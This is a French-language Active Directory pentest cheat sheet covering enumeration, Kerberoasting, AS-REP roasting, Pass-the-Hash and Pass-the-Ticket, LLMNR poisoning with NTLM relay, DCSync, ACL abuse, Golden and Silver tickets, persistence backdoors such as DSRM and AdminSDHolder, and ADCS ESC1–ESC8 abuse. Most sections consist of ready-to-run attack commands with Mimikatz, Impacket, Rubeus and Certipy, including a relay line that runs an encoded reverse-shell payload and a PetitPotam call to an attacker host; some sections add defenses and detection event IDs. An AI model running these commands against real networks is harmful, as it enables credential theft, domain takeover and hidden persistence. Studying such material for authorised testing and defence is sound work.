← HOME| 🌐 Web| 🤖 LLM| 🏛️ Active Directory
PENTEST EXPLOITATION DÉFENSE MITRE ATT&CK

Active Directory Security

Bases · Protocoles · Attaques · ADCS · Persistance · Défense — Sources MITRE ATT&CK + Microsoft + SpecterOps

15Modules
30+Attaques
ESC8ADCS
ATT&CKMITRE
01

Structure Active Directory

BASES
🏛️
Active Directory Domain Services (AD DS) est le service d'annuaire de Microsoft présent dans ~95% des grandes entreprises. Il centralise l'authentification (Kerberos/NTLM), les autorisations (GPO, ACLs) et les politiques de sécurité. Compromettre le Domain Controller = compromettre tout le domaine.

Composants critiques

Domain Controller (DC)

Serveur exécutant AD DS. Contient NTDS.dit, authentifie les users, distribue les tickets Kerberos. Cible finale de toute attaque AD.

NTDS.dit

Base de données AD (C:\Windows\NTDS\ntds.dit). Contient tous les objets AD, hashes NTLM, Kerberos keys. Son extraction = compromission totale.

SYSVOL

Partage réseau répliqué sur tous les DCs. Contient les GPOs et scripts. Souvent source de credentials en clair dans des scripts legacy (Group Policy Preferences).

krbtgt

Compte service du KDC. Son hash NT chiffre tous les TGTs du domaine. Compromis → Golden Ticket possible. Ne change jamais par défaut.

Hiérarchie Forest / Domain / OU

╔══════════════════════════════════════════════════════════╗
║  FOREST : corp.local  (périmètre de sécurité ultime)    ║
║  ┌──────────────────────────────────────────────────┐   ║
║  │  DOMAIN : corp.local                             │   ║
║  │  DC: dc01.corp.local  (NTDS.dit, SYSVOL, KDC)   │   ║
║  │  ┌────────────┐  ┌────────────┐  ┌───────────┐  │   ║
║  │  │ OU: Users  │  │OU:Servers  │  │OU:Groups  │  │   ║
║  │  └────────────┘  └────────────┘  └───────────┘  │   ║
║  └──────────────────────────────────────────────────┘   ║
║         ↕  Trust (bidirectionnel par défaut)             ║
║  ┌────────────────────────────┐                          ║
║  │  DOMAIN : dev.corp.local   │ ← Child Domain           ║
║  └────────────────────────────┘                          ║
╚══════════════════════════════════════════════════════════╝

# Objets AD essentiels
User        → UPN: john@corp.local | sAMAccountName: john
Computer    → MACHINE$ (dollar = machine account)
Service Acct→ SPN: MSSQLSvc/db01.corp.local:1433
SID         → S-1-5-21-{domain}-500  (RID 500 = Administrator)
GPO         → Appliqué aux OUs → contrôle tout le domaine

Groupes privilégiés à connaître

GroupeDroitsRisque
Domain AdminsAdmin sur tout le domaine🔴 Cible principale — DA = game over
Enterprise AdminsAdmin sur toute la forêt🔴 Plus puissant que DA
Schema AdminsModifier le schéma AD🔴 Persistance indétectable possible
Backup OperatorsLire n'importe quel fichier (backup)🟠 Peut lire NTDS.dit
Account OperatorsCréer/modifier comptes (sauf DA)🟠 Escalade possible
DnsAdminsGérer le service DNS🟠 → DA via DLL injection
Protected UsersPolitique de sécurité renforcée✅ Groupe défensif

Protocoles d'authentification

ProtocoleUsagePortRisques principaux
Kerberos v5Auth principale domaine joint88/TCP+UDPKerberoasting, Golden/Silver Ticket, AS-REP, PTT
NTLM / NTLMv2Legacy, fallback, IP directeAnyPass-the-Hash, NTLM Relay, Cracking
LDAP / LDAPSRequêtes annuaire389/636Énumération anonyme, LDAP relay, injection
SMBPartages, RPC, exécution distante445Relay, PsExec, EternalBlue (SMBv1)
WinRMPowerShell remoting5985/5986Mouvement latéral (evil-winrm)
RPC/WMIAdministration distante135+dynExécution distante, DCSync
02

Kerberos & NTLM — Protocoles en profondeur

FONDAMENTAL

Flux Kerberos complet

CLIENT               KDC (DC)                  SERVICE
  │                     │                          │
  │──── AS-REQ ─────────►│  (username + timestamp   │
  │     chiffré avec NT hash du user)               │
  │                      │                          │
  │◄─── AS-REP ──────────│  TGT chiffré clé krbtgt  │
  │     + Session Key 1  │                          │
  │  ↑ AS-REP Roasting : si pas de pré-auth →       │
  │    le hash dans AS-REP est cracable offline      │
  │                      │                          │
  │──── TGS-REQ ─────────►│  TGT + SPN cible        │
  │                      │                          │
  │◄─── TGS-REP ──────────│  Service Ticket (TGS)   │
  │     chiffré avec NT hash du compte service       │
  │  ↑ Kerberoasting : tout user peut faire ça →    │
  │    TGS hors ligne cracable si password faible   │
  │                      │                          │
  │──── AP-REQ ──────────────────────────────────►  │
  │     [TGS présenté au service → accès accordé]   │

# Acteurs clés
KDC     = Key Distribution Center (rôle du DC)
TGT     = Ticket-Granting Ticket (~10h, renouvelable 7j)
TGS/ST = Service Ticket (accès à 1 service spécifique)
krbtgt = compte service KDC — son hash = clé de tout le domaine
SPN     = Service Principal Name (ex: MSSQLSvc/db01:1433)
PAC     = Privilege Attribute Certificate (memberships dans le TGT)

NTLM Challenge/Response

Client ──NEGOTIATE──────────────────────► Server
Client ◄─CHALLENGE (nonce 8 bytes) ───── Server
Client ──AUTHENTICATE ──────────────────► Server
        [NTLMv2 = HMAC-MD5(NT hash, challenge + timestamp + cnonce)]

# Types de hashes — à connaître absolument
LM hash   : aad3b435b51404eeaad3b435b51404ee  (vide = toujours ce hash)
NT hash   : 32196b56ffe6f45e294117b91a83bf38  (MD4 du mot de passe Unicode)
NTLMv1   : challenge/response MD4             (faible, cracable facilement)
NTLMv2   : HMAC-MD5 avec challenge unique     (réseau — relayable, pas PTH)
Point clé : Pass-the-Hash utilise le NT hash (statique). NTLMv2 est dynamique (challenge différent à chaque fois) — il ne peut pas être utilisé pour PTH mais peut être relayé.
03

Énumération Active Directory

RECON
🔍
L'énumération AD ne nécessite qu'un compte utilisateur ordinaire. Par design, tout utilisateur du domaine peut lire la majorité des objets LDAP. C'est le comportement voulu — mais exploitable massivement.

BloodHound / SharpHound — Cartographie des chemins d'attaque

# BloodHound = graphe Neo4j de toutes les relations AD
# Trouve les chemins vers Domain Admins automatiquement

## Collecte — SharpHound (Windows)
.\SharpHound.exe -c All --outputdirectory C:\temp\
.\SharpHound.exe -c All,GPOLocalGroup --ldapusername john --ldappassword Pass123

## Collecte — bloodhound-python (Linux, sans Windows)
pip install bloodhound
bloodhound-python -u 'john' -p 'Pass123' -d corp.local -ns 10.10.10.10 -c all

## Lancer BloodHound
sudo neo4j console &
bloodhound

## Cypher queries essentielles (Neo4j)
# Chemin le plus court vers Domain Admins
MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p

# Tous les users Kerberoastables membres de groupes privil.
MATCH (u:User {hasspn:true})-[:MemberOf*1..]->(g:Group) WHERE g.highvalue=true RETURN u.name,g.name

# Comptes avec droits DCSync
MATCH p=(u)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN p

# Comptes avec mot de passe qui n'expire pas
MATCH (u:User {pwdneverexpires:true, enabled:true}) RETURN u.name

PowerView — Énumération PowerShell

Import-Module .\PowerView.ps1

# Domaine et DCs
Get-Domain ; Get-DomainController
Get-DomainPolicy | Select -ExpandProperty SystemAccess

# Users (intéressants)
Get-DomainUser | select samaccountname,description,pwdlastset,admincount,memberof
Get-DomainUser -SPN                    # → Kerberoastables
Get-DomainUser -PreauthNotRequired     # → AS-REP Roastables
Get-DomainUser -AdminCount             # → membres anciens groupes admin

# Groupes
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# Machines
Get-DomainComputer | select name,operatingsystem,lastlogon | sort lastlogon -desc

# ACLs dangereuses (WriteDACL, GenericAll, GenericWrite, ForceChangePassword)
Find-InterestingDomainAcl -ResolveGUIDs | select IdentityReference,ObjectDN,ActiveDirectoryRights

# GPO avec credentials
Get-DomainGPOLocalGroup

Impacket / CrackMapExec (Linux)

## Impacket — énumération sans GUI
impacket-GetADUsers -all corp.local/john:Pass123 -dc-ip 10.10.10.10
impacket-GetUserSPNs corp.local/john:Pass123 -dc-ip 10.10.10.10
impacket-lookupsid corp.local/john:Pass123@10.10.10.10    # enum SIDs

## CrackMapExec / NetExec (nxc) — swiss army knife
crackmapexec smb 10.10.10.0/24 -u john -p Pass123
crackmapexec smb 10.10.10.10 -u john -p Pass123 --users
crackmapexec smb 10.10.10.10 -u john -p Pass123 --groups
crackmapexec smb 10.10.10.10 -u john -p Pass123 --shares
crackmapexec smb 10.10.10.10 -u john -p Pass123 --pass-pol  # politique MDP
04

Kerberoasting

CRITIQUET1558.003

Principe : Tout utilisateur authentifié peut demander un TGS pour n'importe quel SPN. Ce ticket est chiffré avec le NT hash du compte de service. L'attaquant extrait le ticket et le craque offline — zéro bruit après la demande initiale.

Chaîne d'attaque

## 1. Trouver les comptes avec SPN (Kerberoastables)
Get-DomainUser -SPN | select samaccountname,serviceprincipalname
impacket-GetUserSPNs corp.local/john:Pass123 -dc-ip 10.10.10.10

## 2. Requêter les TGS et extraire les hashes

# Linux — Impacket (tout en un)
impacket-GetUserSPNs corp.local/john:Pass123 -dc-ip 10.10.10.10 -request -outputfile kerb_hashes.txt

# Windows — Rubeus
.\Rubeus.exe kerberoast /outfile:kerb_hashes.txt
.\Rubeus.exe kerberoast /rc4opsec /outfile:kerb_hashes.txt   # force RC4 = plus rapide à cracker
.\Rubeus.exe kerberoast /user:svc_sql /outfile:kerb_hashes.txt # cibler 1 user

# Windows — PowerView
Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv kerb_hashes.csv -NoTypeInformation

## 3. Cracker offline
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt                       # RC4
hashcat -m 19700 kerb_hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule   # AES256
john --wordlist=rockyou.txt kerb_hashes.txt

## Détection — Event IDs
4769 : Kerberos Service Ticket Requested
  → Ticket_Encryption_Type = 0x17 (RC4) + grand volume depuis 1 IP = SUSPECT

Défenses

  • gMSA / dMSA : Group Managed Service Accounts → password 128 chars aléatoire, auto-rotaté
  • Passwords 30+ chars aléatoires sur tous les comptes de service existants
  • Désactiver RC4, forcer AES256 uniquement (msDS-SupportedEncryptionTypes)
  • Supprimer les SPNs inutiles — auditer régulièrement
  • Ne jamais donner des droits DA à un compte de service
05

AS-REP Roasting

HIGHT1558.004

Si un compte a l'option DONT_REQ_PREAUTH, n'importe qui peut envoyer une AS-REQ sans s'authentifier. Le KDC répond avec une partie du message chiffrée avec le NT hash du user — cracable offline sans jamais avoir de compte valide.

## Linux — sans credentials (si on a une liste d'usernames)
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat -no-pass -outputfile asrep.txt

## Linux — avec credentials (énumère automatiquement)
impacket-GetNPUsers corp.local/john:Pass123 -dc-ip 10.10.10.10 -request -format hashcat -outputfile asrep.txt

## Windows — Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
.\Rubeus.exe asreproast /user:vulnerable_user /format:hashcat /outfile:asrep.txt

## Cracker
hashcat -m 18200 asrep.txt rockyou.txt
hashcat -m 18200 asrep.txt rockyou.txt -r rules/best64.rule

## Trouver les comptes vulnérables (PowerView)
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname
💡
Différence vs Kerberoasting : Kerberoasting cible les comptes de service avec SPN et nécessite un compte valide. AS-REP Roasting cible les users avec pré-auth désactivée et peut être fait anonymement.
06

Pass-the-Hash (PtH)

CRITIQUET1550.002

NTLM accepte le NT hash directement — pas besoin du mot de passe en clair. Si l'attaquant vole un NT hash (via Mimikatz, DCSync, SAM dump...), il peut s'authentifier sur toute machine où ce compte est valide.

## 1. Obtenir les hashes NT

# Mimikatz — dump LSASS en mémoire (nécessite admin)
privilege::debug
sekurlsa::logonpasswords              # dump tout — passwords + hashes
sekurlsa::msv                         # hashes NT uniquement

# SAM dump (comptes locaux)
crackmapexec smb 10.10.10.10 -u admin -p Pass123 --sam
impacket-secretsdump corp.local/admin:Pass123@10.10.10.10 --sam

## 2. Utiliser les hashes (format user:rid:LM:NT:::)

# Impacket — psexec (crée un service = bruyant)
impacket-psexec corp.local/Administrator@10.10.10.10 -hashes aad3b435b51404ee:32196b56ffe6f45e

# Impacket — wmiexec (plus discret)
impacket-wmiexec corp.local/Administrator@10.10.10.10 -hashes :32196b56ffe6f45e

# Impacket — smbexec
impacket-smbexec corp.local/Administrator@10.10.10.10 -hashes :32196b56ffe6f45e

# evil-winrm
evil-winrm -i 10.10.10.10 -u Administrator -H 32196b56ffe6f45e

# CrackMapExec — spray PTH sur tout le réseau
crackmapexec smb 10.10.10.0/24 -u Administrator -H 32196b56ffe6f45e
# "Pwn3d!" → admin local sur cette machine

# Mimikatz — PTH pour ouvrir un processus
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:32196b56ffe6f45e /run:cmd.exe

Défenses

  • Windows Credential Guard — virtualise LSASS, bloque Mimikatz sekurlsa
  • LAPS (Local Administrator Password Solution) — passwords admin locaux aléatoires uniques
  • Protected Users group — interdit l'auth NTLM, Kerberos RC4, délégation
  • Désactiver NTLM (Kerberos uniquement) via GPO
  • Tier model (Admin Tier 0/1/2) — isolation des comptes admin
07

Pass-the-Ticket & Overpass-the-Hash

HIGHT1550.003
## Pass-the-Ticket — voler et réutiliser un ticket Kerberos

# Lister et exporter les tickets
klist                                  # voir les tickets du user courant
.\Rubeus.exe dump /nowrap             # dump tous les tickets base64
mimikatz# sekurlsa::tickets /export  # export .kirbi files

# Importer un ticket volé
.\Rubeus.exe ptt /ticket:base64_or_file.kirbi
mimikatz# kerberos::ptt ticket.kirbi
export KRB5CCNAME=stolen.ccache  # Linux (Impacket)

## Overpass-the-Hash — NT hash → TGT Kerberos (+ discret que PTH)
.\Rubeus.exe asktgt /user:Administrator /rc4:NT_HASH /ptt
.\Rubeus.exe asktgt /user:Administrator /aes256:AES_HASH /ptt /opsec
mimikatz# sekurlsa::pth /user:Admin /domain:corp.local /ntlm:HASH /run:powershell.exe

## Résumé comparatif
PTH  → auth NTLM  → NT hash direct           → EventID 4624 Type 3 NTLM
PTT  → auth Kerb  → ticket volé              → trafic Kerberos normal, discret
OPtH → auth Kerb  → NT hash → TGT → Kerb    → le plus discret des 3
08

LLMNR Poisoning & NTLM Relay

CRITIQUE · RÉSEAUT1557.001

LLMNR / NBT-NS sont des protocoles de fallback DNS qui broadcastent sur le LAN quand le DNS échoue. Responder se positionne comme Man-in-the-Middle pour capturer les authentifications NTLM automatiques des victimes.

Phase 1 — Capture avec Responder

## Lancer Responder (empoisonne LLMNR, NBT-NS, mDNS)
sudo responder -I eth0 -v
sudo responder -I eth0 -rdwv  # + WPAD, DHCPv6

# Victimes capturées automatiquement quand elles accèdent à \\partage_inexistant
# Logs : /usr/share/responder/logs/SMB-NTLMv2-SSP-10.10.10.x.txt

## Cracker les NTLMv2 capturés
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt

Phase 2 — NTLM Relay (si SMB signing désactivé)

## Vérifier SMB signing sur le réseau
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
nmap --script smb2-security-mode -p445 10.10.10.0/24

## Setup : désactiver SMB/HTTP dans Responder (ntlmrelayx prend le relais)
sudo sed -i 's/SMB = On/SMB = Off/;s/HTTP = On/HTTP = Off/' /etc/responder/Responder.conf

## ntlmrelayx — dump SAM des cibles
sudo impacket-ntlmrelayx -tf targets.txt -smb2support

## ntlmrelayx — shell interactif sur la cible
sudo impacket-ntlmrelayx -tf targets.txt -smb2support -i

## ntlmrelayx — exécuter une commande (reverse shell)
sudo impacket-ntlmrelayx -tf targets.txt -smb2support -c "powershell -e BASE64_REVSHELL"

## Responder en parallèle pour le poisoning
sudo responder -I eth0 -v

Défenses

  • Désactiver LLMNR via GPO : Computer Configuration → Administrative Templates → Network → DNS Client → Turn Off Multicast Name Resolution
  • Désactiver NBT-NS via DHCP options ou WMI sur toutes les interfaces
  • SMB Signing obligatoire sur tous les serveurs — bloque le relay
  • Extended Protection for Authentication (EPA) pour HTTP
  • Alerter sur EventID 4648 (logon explicite inhabituel)
09

Mouvement Latéral

HIGHT1021
TechniquePortOutilDiscrétionEvent ID
PsExec (service SMB)445psexec, PsExec.exe🔴 Bruyant7045, 4697
WMI Exec135wmiexec, CrackMapExec🟠 Moyen4688
WinRM / evil-winrm5985evil-winrm, Enter-PSSession🟡 Discret4688
DCOM Exec135dcomexec🟡 Discret4688
SMBExec445smbexec🟠 Moyen4624
RDP3389xfreerdp, rdesktop🔴 Visible4624 T10
SSH (si activé)22ssh🟡 Normal
## evil-winrm — le plus polyvalent depuis Linux
evil-winrm -i 10.10.10.10 -u Administrator -p 'Password123'
evil-winrm -i 10.10.10.10 -u Administrator -H 32196b56ffe6f45e294117b91a83bf38
evil-winrm -i 10.10.10.10 -u Administrator -p 'Pass' -s /path/to/ps-scripts/

## CrackMapExec / NetExec
crackmapexec smb 10.10.10.10 -u john -p Pass123 -x "whoami /all"   # cmd
crackmapexec smb 10.10.10.10 -u john -p Pass123 -X "Get-Process"    # PowerShell
crackmapexec winrm 10.10.10.10 -u john -p Pass123 -x "whoami"

## Impacket — options
impacket-wmiexec corp.local/john:Pass123@10.10.10.10    # WMI, semi-interactif
impacket-dcomexec corp.local/john:Pass123@10.10.10.10   # DCOM
impacket-atexec corp.local/john:Pass123@10.10.10.10 "cmd /c whoami"  # Task Scheduler

## RDP depuis Linux
xfreerdp /v:10.10.10.10 /u:Administrator /p:Password123 /cert:ignore
xfreerdp /v:10.10.10.10 /u:Administrator /pth:NT_HASH /cert:ignore   # PTH via RDP
10

DCSync — Dump total du domaine

CRITIQUE → DAT1003.006

DCSync simule un DC secondaire demandant la réplication AD via le protocole MS-DRSR. Un compte avec les droits DS-Replication-Get-Changes + DS-Replication-Get-Changes-All extrait tous les hashes NTLM du domaine — sans toucher au fichier NTDS.dit.

## Avec Mimikatz (Windows — session avec droits DA ou DCSync)
mimikatz# lsadump::dcsync /domain:corp.local /user:Administrator
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt     # pour Golden Ticket!
mimikatz# lsadump::dcsync /domain:corp.local /all /csv         # dump TOTAL

## Avec Impacket secretsdump (Linux)
impacket-secretsdump corp.local/Administrator:Pass123@10.10.10.10
impacket-secretsdump corp.local/Administrator@10.10.10.10 -hashes :NT_HASH
impacket-secretsdump -just-dc-user krbtgt corp.local/admin:pass@10.10.10.10
impacket-secretsdump -just-dc-ntlm corp.local/admin:pass@10.10.10.10

## NTDS.dit extraction directe (accès physique DC)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

## Droits nécessaires pour DCSync
DS-Replication-Get-Changes       → GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
DS-Replication-Get-Changes-All   → GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
Par défaut: Domain Admins, Enterprise Admins, Domain Controllers
BloodHound: edge "DCSync" identifie qui a ces droits

## Détection
EventID 4662 : accès aux attributs de réplication (Directory Service)
  → Object Type: domainDNS + Access: 1131f6aa + Source IP ≠ DC → ALERT!
11

ACL Abuse — Escalade via droits AD

CRITIQUET1222.001
🎯
Les ACLs (Access Control Lists) AD définissent qui peut faire quoi sur les objets. Des droits mal configurés permettent l'escalade de privilèges sans jamais exploiter une vulnérabilité logicielle. BloodHound les détecte automatiquement.
Droit ACLSur quoiExploitation
GenericAllUser/Group/ComputerModifier tout — password reset, add to group, takeover
GenericWriteUser/ComputerModifier des attributs — SPN (Targeted Kerberoasting), scriptPath
WriteOwnerTout objetDevenir propriétaire → WriteDACL → GenericAll
WriteDACLTout objetModifier les ACLs → s'accorder GenericAll
ForceChangePasswordUserChanger le mot de passe sans connaître l'ancien
AddMemberGroupAjouter un user au groupe (Domain Admins!)
AllExtendedRightsUser/DomainReset password + DCSync
OwnsTout objetPropriétaire = contrôle total des ACLs
## Exploitation avec PowerView

# GenericAll sur un user → reset password
$SecPass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity victim_user -AccountPassword $SecPass

# GenericAll sur un group → ajouter son user
Add-DomainGroupMember -Identity "Domain Admins" -Members john

# WriteDACL → s'accorder DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity john -Rights DCSync

# GenericWrite sur computer → Resource-Based Constrained Delegation
# (→ RBCD attack → impersonation de n'importe quel user sur cette machine)
Set-DomainObject -Identity target_computer -Set @{msds-allowedtoactonbehalfofotheridentity=$AttackerSD}

# ForceChangePassword
Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString 'P@ss!23' -AsPlainText -Force) -Verbose

## Targeted Kerberoasting (GenericWrite → SPN)
# Ajouter un SPN au compte cible → le rendre Kerberoastable
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='nonexistent/BLAH'}
Get-DomainUser target_user | Get-DomainSPNTicket -Format Hashcat
Set-DomainObject -Identity target_user -Clear serviceprincipalname  # nettoyage
12

Golden Ticket & Silver Ticket

CRITIQUE · PERSISTANCET1558.001/002

🥇 Golden Ticket

TGT forgé signé avec le hash NT de krbtgt. Permet de s'authentifier comme n'importe quel utilisateur du domaine. Valide jusqu'à 10 ans. Persistance totale tant que krbtgt n'est pas changé 2x.

🥈 Silver Ticket

TGS forgé pour un service spécifique, signé avec le hash du compte de service. Plus discret (pas de contact KDC). Accès limité à un service, mais aucun contact DC → difficile à détecter.

## PRÉ-REQUIS Golden Ticket : hash NT du compte krbtgt
impacket-secretsdump -just-dc-user krbtgt corp.local/admin:pass@10.10.10.10
# Obtenir aussi le SID du domaine
impacket-lookupsid corp.local/admin:pass@10.10.10.10 | grep "Domain SID"
Get-DomainSID  # PowerView

## Créer le Golden Ticket — Mimikatz
mimikatz# kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-XXX-YYY-ZZZ /krbtgt:KRBTGT_NT_HASH /ptt
# /ptt = injecter en mémoire | /ticket = sauvegarder en .kirbi
# /groups:512 = Domain Admins (optionnel, inclus par défaut)

## Créer le Golden Ticket — Impacket ticketer (Linux)
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-XXX -domain corp.local FakeAdmin
export KRB5CCNAME=FakeAdmin.ccache
impacket-psexec -k -no-pass corp.local/FakeAdmin@dc01.corp.local

## Silver Ticket — exemple pour CIFS (file shares)
mimikatz# kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:server01.corp.local /service:cifs /rc4:SERVICE_NT_HASH /ptt

## Silver Ticket — services courants
cifs   → accès aux partages SMB
host   → création de tâches planifiées
http   → accès aux services web IIS (SSRS, etc.)
mssql  → accès aux bases SQL Server
ldap   → accès LDAP (pour DCSync!)

## Défense : Diamond Ticket (détection améliorée)
Les Golden Tickets ont un PAC forgé → certains détecteurs le voient.
Diamond Tickets modifient un TGT légitime → beaucoup plus difficile à détecter.
13

Persistance Active Directory

CRITIQUET1098
TechniquePrérequisDiscrétionRésilience
Golden Ticketkrbtgt hash🟡 DétectableJusqu'à 2x rotation krbtgt
Silver TicketService NT hash🟢 Très discretJusqu'à reset service account
Diamond Ticketkrbtgt + DA🟢 Difficile à détecterJusqu'à 2x rotation krbtgt
Skeleton KeyDA / LSASS patching🔴 BruyantJusqu'au reboot du DC
AdminSDHolderDA🟡 SubtilPermanente si non nettoyé
DCSync rightsDA / WriteDACL🟢 DiscretPermanente si non révoquée
SIDHistoryDA🟡 SubtilPermanente si non nettoyée
DSRM backdoorDC access🟢 Très discretPermanente
## AdminSDHolder — persistance via ACL sur un objet protégé
# AdminSDHolder est le template de sécurité pour les groupes privilégiés
# SDProp (s'exécute toutes les 60 min) copie ses ACLs sur DA, EA, etc.
# → Si on ajoute nos droits sur AdminSDHolder, ils sont restaurés toutes les 60min!
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=corp,DC=local' -PrincipalIdentity john -Rights All

## DCSync rights persistants (WriteDACL sur le domaine)
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity john -Rights DCSync

## DSRM Backdoor (Directory Services Restore Mode)
# DSRM = compte admin local du DC pour la recovery
# Par défaut: DSRM ne peut pas s'authentifier via réseau
# Modifier la registry → DSRM devient utilisable à distance
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
mimikatz# token::elevate
mimikatz# lsadump::sam  # obtenir le hash DSRM
# Puis PTH avec le hash DSRM depuis n'importe où

## SIDHistory abuse
# Ajouter le SID de DA à l'attribut SIDHistory d'un compte ordinaire
# → ce compte aura les droits DA dans les tickets Kerberos
mimikatz# sid::patch
mimikatz# misc::addsid john_user S-1-5-21-XXX-512  # 512 = Domain Admins RID
14

ADCS — Active Directory Certificate Services

CRITIQUE · ESC1-ESC8T1649
📜
ADCS est l'infrastructure PKI de Microsoft intégrée à AD. Les ESC1-ESC16 (Escalation vectors) ont été documentés par Will Schroeder & Lee Christensen (SpecterOps) dans le whitepaper "Certified Pre-Owned" (2021). Ces attaques permettent d'obtenir des certificats qui s'authentifient comme n'importe quel user — y compris DA.

Concepts clés ADCS

CA   = Certificate Authority (serveur ADCS) — gère les certificats
Template = modèle définissant ce que le certificat peut faire
SAN  = Subject Alternative Name — à qui le certificat s'applique (UPN, DNS)
EKU  = Extended Key Usage — usage autorisé (Client Auth, Code Signing...)
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT → user contrôle le SAN

ESC1 — SAN arbitraire + enrollment utilisateur

## ESC1 Conditions :
# 1. Template avec msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
# 2. EKU contient Client Authentication (ou Smart Card Login, PKINIT)
# 3. Enrollment autorisé pour des utilisateurs non-admins

## Exploitation — Certipy (Linux)
# Trouver les templates vulnérables
certipy find -u john@corp.local -p Pass123 -dc-ip 10.10.10.10
certipy find -u john@corp.local -p Pass123 -dc-ip 10.10.10.10 -vulnerable -stdout

# Demander un certificat en se faisant passer pour Administrator (ESC1)
certipy req -u john@corp.local -p Pass123 -dc-ip 10.10.10.10 -ca CORP-CA -template VulnerableTemplate -upn administrator@corp.local

# Utiliser le certificat pour obtenir le NT hash de Administrator
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
# → Retourne le NT hash via PKINIT → Pass-the-Hash vers DA!

## Exploitation — Certify + Rubeus (Windows)
.\Certify.exe find /vulnerable
.\Certify.exe request /ca:dc01.corp.local\CORP-CA /template:VulnerableTemplate /altname:administrator
.\Rubeus.exe asktgt /user:administrator /certificate:base64cert /password:certpass /ptt

ESC2 — Tout EKU ou Any Purpose

## ESC2 Conditions : EKU = Any Purpose OU aucun EKU (SubCA)
## L'attaquant peut créer un certificat utilisable pour n'importe quel EKU
## → peut agir comme un certificat ESC1 ou comme un CA subordonné
certipy req -u john@corp.local -p Pass123 -ca CORP-CA -template ESC2Template -upn administrator@corp.local

ESC3 — Enrollment Agent + Template arbitraire

## ESC3 : 2 templates vulnérables nécessaires
# Template 1: EKU = Certificate Request Agent (Enrollment Agent)
# Template 2: autorise l'enrollment agent à s'inscrire pour d'autres users

## Étape 1 : obtenir un certificat Enrollment Agent
certipy req -u john@corp.local -p Pass123 -ca CORP-CA -template EnrollmentAgentTemplate
# Étape 2 : demander un certificat au nom d'Administrator
certipy req -u john@corp.local -p Pass123 -ca CORP-CA -template User -on-behalf-of corp\\administrator -pfx enrollment_agent.pfx

ESC4 — Droits d'écriture sur un template

## ESC4 : l'attaquant a des droits GenericWrite/WriteDACL sur un template
## → Modifier le template pour le rendre ESC1 vulnérable
certipy template -u john@corp.local -p Pass123 -template VictimTemplate -save-old
certipy template -u john@corp.local -p Pass123 -template VictimTemplate -configuration "msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT"
# Puis exploiter comme ESC1, puis restaurer

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag sur CA

## ESC6 : flag sur la CA qui permet à n'importe quel template d'avoir un SAN arbitraire
## Même des templates qui n'ont pas ENROLLEE_SUPPLIES_SUBJECT deviennent ESC1-like

## Vérifier le flag
certutil -config "dc01.corp.local\CORP-CA" -getreg policy\EditFlags
# EDITF_ATTRIBUTESUBJECTALTNAME2 = 0x00040000 = vulnérable
certipy req -u john@corp.local -p Pass123 -ca CORP-CA -template User -upn administrator@corp.local

ESC8 — NTLM Relay vers ADCS HTTP Enrollment

## ESC8 : le point d'enrollment ADCS via HTTP (CES) n'a pas de protections
## → NTLM relay de n'importe quel compte vers /certsrv/certfnsh.asp
## → Obtenir un certificat pour la machine relayée → PTH ou DCSync

## Conditions : ADCS avec Web Enrollment actif (http://ca/certsrv/)

# Setup — Certipy relay (Python)
certipy relay -target http://ca.corp.local/certsrv/certfnsh.asp -template DomainController
# En parallèle — déclencher une auth NTLM (ex: PetitPotam vers DC)
python3 PetitPotam.py -u john -p Pass123 attacker_ip dc01.corp.local
# → Le DC s'authentifie vers notre relay → certificat du DC obtenu
# → Utiliser le certificat pour DCSync
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10  # → NT hash du DC → DCSync

Vue d'ensemble ESC1-ESC16

ESCDescriptionImpact
ESC1ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKUDA via SAN arbitraire
ESC2Any Purpose EKU / SubCADA — usage universel du cert
ESC3Enrollment Agent abuseDA — demande cert pour n'importe qui
ESC4Write access sur template vulnérableDA — modifier template → ESC1
ESC5Write access sur PKI Objects dans ADDA — modifier objets PKI
ESC6EDITF_ATTRIBUTESUBJECTALTNAME2 sur CADA — SAN arbitraire global
ESC7Write access sur la CA elle-mêmeDA — contrôle total de la PKI
ESC8NTLM Relay → Web Enrollment ADCSDA — relay DC → cert DC → DCSync
